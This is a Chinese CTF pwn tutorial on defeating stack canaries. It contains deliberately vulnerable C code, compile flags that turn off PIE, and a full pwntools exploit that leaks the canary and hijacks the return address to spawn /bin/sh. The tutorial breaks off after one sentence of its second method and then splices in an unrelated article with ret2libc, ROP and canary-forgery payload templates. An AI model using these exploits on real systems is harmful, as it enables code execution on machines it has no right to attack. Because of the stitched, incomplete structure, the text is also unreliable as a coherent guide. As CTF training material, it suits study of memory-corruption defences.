ctf-pwn:canary绕过

本文详细介绍了CTF中针对Canary安全机制的四种绕过方法:覆盖00字符读出canary、利用格式化字符串漏洞、逐字节猜解canary以及劫持__stack_chk_fail函数。每种方法都包括原理、利用条件、漏洞代码和EXP示例,揭示了Canary机制的弱点和攻击思路。

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覆盖00字符读出canary

原理

  • canary的值设计为以0x00结尾,防止read,printf灯函数直接读出
  • 通过栈溢出覆盖最低位的字节,从而获得canary

利用条件

  • 存在read/printf等读出字符串的函数
  • 可以两次栈溢出
    • 第一次是覆盖00字节,得到canary
    • 第二次是利用canary进行攻击

漏洞代码

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
   
    system("/bin/sh");
}
//不设置缓冲区
void init() {
   
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}
void vuln() {
   
    char buf[100];
    for(int i=0;i<2;i++){
   
        read(0, buf, 0x200);
        printf(buf);
    }
}
int main(void) {
   
    init();
    puts("Hello Hacker!");
    vuln();
    return 0;
}

编译选项

  • 这里需要修改caller的返回地址为getshell,所以需要知道getshell的地址,换而言之.text段不能随机化,所以不能开启PIE
  • 栈虽不随机无所谓,所以ASLR开启也无妨
gcc a.c -no-pie -m32 -fstack-protector -z noexecstack -o a

EXP

#!/usr/bin/python
# coding=utf-8
'''offset
0x5655573a <vuln+24>        mov    DWORD PTR [ebp-0xc], eax ;$epb-0xc=0xffffd10c
canary: 0xffffd10c
0x56555756 <vuln+52>        call   0x565554f0 <read@plt>
read@plt (
   [sp + 0x0] = 0x00000000, //STDIN
   [sp + 0x4] = 0xffffd0a8 → 0x00000001,  //buf
   [sp + 0x8] = 0x00000200   //num of char
)
0xffffd10c - 0xffffd0a8 = 100
'''
from pwn import *
context(os='linux', arch='i386', log_level='debug')
sh=process('a')
gdb.attach(sh)
offset=100
padding='A'*offset
#get canary
sh.sendlineafter('Hello Hacker!\n', padding)
sh.recvuntil(padding)
canary=u32(sh.recv(numb=4))-ord('\n')
print('canary = '+hex(canary))
#getshell
getshell=ELF('a').sym['getshell']
'''exp
'A'*4:  $ebp of caller
canary+'A'*8:  DWORD PTR [ebp-0xc], eax, actually, the canary take up 0xC byte
'''
exp=padding+p32(canary)+'A'*8+'A'*4+p32(getshell)
sh.send(exp)
sh.recv()
sh.interactive()

利用格式化字符串漏洞读出canary

原理

  • 利用格式化字符串漏洞的任意读
    • 由于canary的最低字节是0x00,所以不能用%s的格式当作字符串来读,而应该使用%p/%x等当作一个数来读

### CTF PWN 栈溢出题目解题思路与漏洞利用教程 #### 一、栈溢出基础概念 栈溢出是一种常见的内存错误,当程序试图向栈中写入的数据量超过了分配给该变量的空间时就会发生。这种情况下,额外的数据会覆盖相邻的内存区域,可能导致程序行为异常甚至崩溃。在CTF竞赛中的PWN挑战里,攻击者可以巧妙地利用这一特性来改变程序执行流程,达到任意代码执行的目的。 #### 二、常见技术手段及其应用场景 ##### (一)Return-to-libc (ret2libc) 这种方法适用于目标系统启用了NX位保护的情况,在此条件下直接注入Shellcode变得不可行。通过精心构造输入数据,使得函数返回后跳转至`libc`库内的某个有用功能(如`system()`),并传递合适的参数指向环境变量或其他位置存储的命令字符串(通常是`/bin/sh`)。这种方式不需要实际执行自定义机器码就能完成提权操作[^3]。 ```python from pwn import * # 建立连接 conn = remote('target_ip', port) # 构造payload offset_to_return_address = b'A' * offset_length address_of_system_function = pack(system_addr, 'little') argument_for_system_call = pack(bin_sh_string_addr, 'little') final_payload = offset_to_return_address + address_of_system_function + argument_for_system_call # 发送载荷触发漏洞 conn.send(final_payload) # 进入交互模式等待进一步指令 conn.interactive() ``` ##### (二)Return-Oriented Programming (ROP) 对于开启了ASLR(Address Space Layout Randomization)机制的目标而言,单纯依靠固定的地址难以稳定工作。此时可采用ROP链的方式绕过这些限制。具体做法是从现有二进制文件或共享库中挑选一系列短小精悍的小工具(gadgets),它们各自负责一小部分任务;然后按照一定顺序串联起来形成完整的恶意逻辑序列。最终目的是调用能够创建新进程或者打开shell等功能的方法[^1]。 ```python rop_chain = ROP(binary_path_or_elf_object) # 添加gadget到rop chain中... rop_chain.raw(pack(pop_rdi_gadget)) rop_chain.raw(pack(command_arg)) rop_chain.call(target_function_name) exploit_code = cyclic(offset_before_retaddr) + str(rop_chain) ``` ##### (三)Bypassing Canary Protection 现代操作系统为了防止缓冲区越界读取引发的安全隐患引入了canaries随机数作为屏障放置于局部数组之后但在保存下来的基址指针之前的位置上。一旦检测到canary值被篡改,则立即终止应用程序以防事态扩大。然而如果能事先获知其确切数值的话还是有机会突破防线继续实施后续动作。可以通过格式化串漏洞或者其他途径间接获取canary的具体值。 ```python leaked_canary_value = u64(leak_response[-8:].ljust(8,b'\x00')) forgery_input = flat({ padding_len: leaked_canary_value, return_addr_offset: target_func_ptr }) ``` #### 三、实战案例分析 以一道典型的CTF PWN题目为例说明整个过程: 假设有一个存在栈溢出缺陷的服务端应用正在监听网络请求,它接受客户端发送过来的一条消息并将其打印出来。经过初步逆向工程得知其中确实隐藏着一处危险点允许外部操控EIP寄存器的内容。考虑到服务器部署环境中已经禁用了execve syscall以及所有形式的动态加载模块访问权限,因此决定采取基于静态链接版本下的return-oriented programming策略来进行破解尝试。 首先定位到了几个关键性的辅助函数入口地址,包括但不限于`read()`, `write()`, 和最重要的`dup2()`用于重定向标准I/O描述符以便后期建立反向外连通道。接着便是着手准备必要的Rop Chain组件,这里涉及到多次试探性查询直至完全掌握堆栈布局细节为止。最后一步就是组合成完整有效的Payload并通过socket接口投递给远端主机上的易受攻击服务实例上去验证效果如何。
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